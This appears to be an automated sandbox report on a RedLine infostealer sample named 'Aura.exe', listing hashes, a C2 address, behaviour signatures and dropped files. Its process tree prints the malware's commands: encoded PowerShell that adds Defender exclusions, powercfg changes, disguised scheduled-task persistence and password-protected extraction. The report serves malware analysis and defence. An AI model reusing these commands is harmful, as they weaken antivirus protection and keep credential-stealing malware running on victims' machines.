Resubmissions

29-06-2024 09:31

240629-lg563sxglj 10

29-06-2024 09:28

240629-lfeyhaxfrk 10

29-06-2024 09:23

240629-lcqktsxfmk 10

Analysis

  • max time kernel
    254s
  • max time network
    202s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    29-06-2024 09:31

General

  • Target

    Aura.exe

  • Size

    493KB

  • MD5

    7e7b8be8a1f1ef05c932ea1e8eab6590

  • SHA1

    f790227a5148d6cba037c24643306f330c6fe5f4

  • SHA256

    c7383b039d569cc256026d6b7985bb763f36530708bca3e4f82fa130d2d7dfbb

  • SHA512

    c57fc80bf97309ca887c88526fc586b080d47c4f2ebe611d40f94f48c0af2b7c56cec19f0379a5bc27bd6a0e2f75bdb7953c05bcc1069633812bbd22649ef890

  • SSDEEP

    12288:qGlz1vS9p1+kOwILHmKfZcBg688m/Iezfihoto8:qyNSgJqBg6NmAeehn

Malware Config

Extracted

Family

redline

Botnet

@hitok4111

C2

94.228.166.68:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Aura.exe
    "C:\Users\Admin\AppData\Local\Temp\Aura.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
        PID:2312
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Users\Admin\AppData\Local\Temp\conhost.exe
          "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:952
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1180
            • C:\Windows\system32\mode.com
              mode 65,10
              5⤵
                PID:128
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e file.zip -p1404753551733818025492326517 -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:2892
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_6.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:1504
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_5.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:4596
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_4.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:5056
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_3.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:4688
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_2.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:916
              • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
                7z.exe e extracted/file_1.zip -oextracted
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:3484
              • C:\Windows\system32\attrib.exe
                attrib +H "Installer.exe"
                5⤵
                • Views/modifies file attributes
                PID:4544
              • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
                "Installer.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1136
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /C powershell -EncodedCommand "PAAjAHUAMQBqAGQAVQBBAHkATQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADkAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBuAG0ATABMADIAZgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBaAFMAcAAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                  6⤵
                  • Power Settings
                  • Suspicious use of WriteProcessMemory
                  PID:3576
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -EncodedCommand "PAAjAHUAMQBqAGQAVQBBAHkATQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjADkAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBuAG0ATABMADIAZgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBaAFMAcAAjAD4A"
                    7⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1840
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2688
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3132
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6749" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3828
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6749" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1804
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1952 -s 324
          2⤵
          • Program crash
          PID:1692
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1952 -ip 1952
        1⤵
          PID:3800

        Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yn1phusp.vkm.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\conhost.exe
          Filesize

          2.5MB

          MD5

          b2e6a3d0bf3320b759c464ae6fa5b735

          SHA1

          cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1

          SHA256

          771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3

          SHA512

          bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a

        • C:\Users\Admin\AppData\Local\Temp\main\7z.dll
          Filesize

          1.6MB

          MD5

          72491c7b87a7c2dd350b727444f13bb4

          SHA1

          1e9338d56db7ded386878eab7bb44b8934ab1bc7

          SHA256

          34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

          SHA512

          583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          Filesize

          458KB

          MD5

          619f7135621b50fd1900ff24aade1524

          SHA1

          6c7ea8bbd435163ae3945cbef30ef6b9872a4591

          SHA256

          344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

          SHA512

          2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
          Filesize

          21KB

          MD5

          4265bf9f9535ebb4e1830e2a50589285

          SHA1

          ddc45fe277a3b39179dd9e39e17d71b50a184607

          SHA256

          c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403

          SHA512

          3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
          Filesize

          2.2MB

          MD5

          6dd7f70cddc4310e047032d70550f72c

          SHA1

          e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562

          SHA256

          e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d

          SHA512

          1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
          Filesize

          9KB

          MD5

          18f4fe969c4ba0517b403e28f7ad2b72

          SHA1

          9df09751ee1246db2ed6b6ed6fec87fb0891e077

          SHA256

          06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4

          SHA512

          9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
          Filesize

          9KB

          MD5

          a915fd2a4e2750ee9003e628294bf284

          SHA1

          f9adc1e65fc3d2cf39b2c5a89030f3225e21616d

          SHA256

          5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285

          SHA512

          044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
          Filesize

          9KB

          MD5

          4a5f569872c858ede1c0c67500cfdd6d

          SHA1

          cdcac69d89b45a7903198467c2d2d32126c31661

          SHA256

          88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc

          SHA512

          d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
          Filesize

          9KB

          MD5

          6f7f4f7ed739e3ac5eee8d0876ff76d4

          SHA1

          9a65d52885624dc47f342b5a9875d7720540c755

          SHA256

          b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc

          SHA512

          35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
          Filesize

          9KB

          MD5

          870a5535c79edcf782551514f48d89ab

          SHA1

          333d814d65753cdc4c4e8fb587c09af6960110d1

          SHA256

          814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d

          SHA512

          f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06

        • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip
          Filesize

          1.6MB

          MD5

          a62944686498212b290eae637729a151

          SHA1

          2053660850d3f578f7b31e5ced16069d6f9c4ee0

          SHA256

          0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e

          SHA512

          ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3

        • C:\Users\Admin\AppData\Local\Temp\main\file.bin
          Filesize

          1.6MB

          MD5

          716459a6ceac7d310d4227ea3e9ddb59

          SHA1

          fa27addf18c197bf5fc054bfb5ae57de1caf3382

          SHA256

          ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1

          SHA512

          3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1

        • C:\Users\Admin\AppData\Local\Temp\main\main.bat
          Filesize

          474B

          MD5

          893874465a8d9f68f0684fd61e9f1d3c

          SHA1

          866a58255ebab05d4ee2f2ed8383a6555ac1df03

          SHA256

          e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0

          SHA512

          1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7

        • memory/1136-90-0x0000000000680000-0x000000000068C000-memory.dmp
          Filesize

          48KB

        • memory/1840-106-0x0000000006D00000-0x0000000006D34000-memory.dmp
          Filesize

          208KB

        • memory/1840-118-0x00000000075F0000-0x0000000007C6A000-memory.dmp
          Filesize

          6.5MB

        • memory/1840-132-0x00000000072F0000-0x00000000072F8000-memory.dmp
          Filesize

          32KB

        • memory/1840-128-0x0000000007300000-0x000000000731A000-memory.dmp
          Filesize

          104KB

        • memory/1840-127-0x0000000007210000-0x0000000007225000-memory.dmp
          Filesize

          84KB

        • memory/1840-126-0x0000000007200000-0x000000000720E000-memory.dmp
          Filesize

          56KB

        • memory/1840-122-0x00000000071C0000-0x00000000071D1000-memory.dmp
          Filesize

          68KB

        • memory/1840-121-0x0000000007240000-0x00000000072D6000-memory.dmp
          Filesize

          600KB

        • memory/1840-120-0x0000000007040000-0x000000000704A000-memory.dmp
          Filesize

          40KB

        • memory/1840-119-0x0000000006FB0000-0x0000000006FCA000-memory.dmp
          Filesize

          104KB

        • memory/1840-117-0x0000000006D70000-0x0000000006E14000-memory.dmp
          Filesize

          656KB

        • memory/1840-116-0x0000000006D40000-0x0000000006D5E000-memory.dmp
          Filesize

          120KB

        • memory/1840-107-0x0000000072860000-0x00000000728AC000-memory.dmp
          Filesize

          304KB

        • memory/1840-105-0x0000000006050000-0x000000000609C000-memory.dmp
          Filesize

          304KB

        • memory/1840-104-0x0000000005B50000-0x0000000005B6E000-memory.dmp
          Filesize

          120KB

        • memory/1840-103-0x0000000005690000-0x00000000059E7000-memory.dmp
          Filesize

          3.3MB

        • memory/1840-91-0x0000000002370000-0x00000000023A6000-memory.dmp
          Filesize

          216KB

        • memory/1840-92-0x0000000004F10000-0x000000000553A000-memory.dmp
          Filesize

          6.2MB

        • memory/1840-93-0x0000000004DA0000-0x0000000004DC2000-memory.dmp
          Filesize

          136KB

        • memory/1840-94-0x00000000055B0000-0x0000000005616000-memory.dmp
          Filesize

          408KB

        • memory/1952-0-0x0000000000CE0000-0x0000000000CE1000-memory.dmp
          Filesize

          4KB

        • memory/4940-15-0x000000000AE40000-0x000000000B36C000-memory.dmp
          Filesize

          5.2MB

        • memory/4940-7-0x0000000006C30000-0x0000000007248000-memory.dmp
          Filesize

          6.1MB

        • memory/4940-4-0x0000000005690000-0x0000000005722000-memory.dmp
          Filesize

          584KB

        • memory/4940-2-0x000000007431E000-0x000000007431F000-memory.dmp
          Filesize

          4KB

        • memory/4940-8-0x00000000083F0000-0x00000000084FA000-memory.dmp
          Filesize

          1.0MB

        • memory/4940-6-0x0000000074310000-0x0000000074AC1000-memory.dmp
          Filesize

          7.7MB

        • memory/4940-3-0x0000000005BA0000-0x0000000006146000-memory.dmp
          Filesize

          5.6MB

        • memory/4940-1-0x0000000000400000-0x0000000000450000-memory.dmp
          Filesize

          320KB

        • memory/4940-5-0x0000000005640000-0x000000000564A000-memory.dmp
          Filesize

          40KB

        • memory/4940-9-0x0000000006B20000-0x0000000006B32000-memory.dmp
          Filesize

          72KB

        • memory/4940-10-0x0000000006B80000-0x0000000006BBC000-memory.dmp
          Filesize

          240KB

        • memory/4940-11-0x0000000006BD0000-0x0000000006C1C000-memory.dmp
          Filesize

          304KB

        • memory/4940-12-0x0000000009330000-0x0000000009396000-memory.dmp
          Filesize

          408KB

        • memory/4940-13-0x0000000009900000-0x0000000009950000-memory.dmp
          Filesize

          320KB

        • memory/4940-14-0x000000000A740000-0x000000000A902000-memory.dmp
          Filesize

          1.8MB

        • memory/4940-38-0x0000000074310000-0x0000000074AC1000-memory.dmp
          Filesize

          7.7MB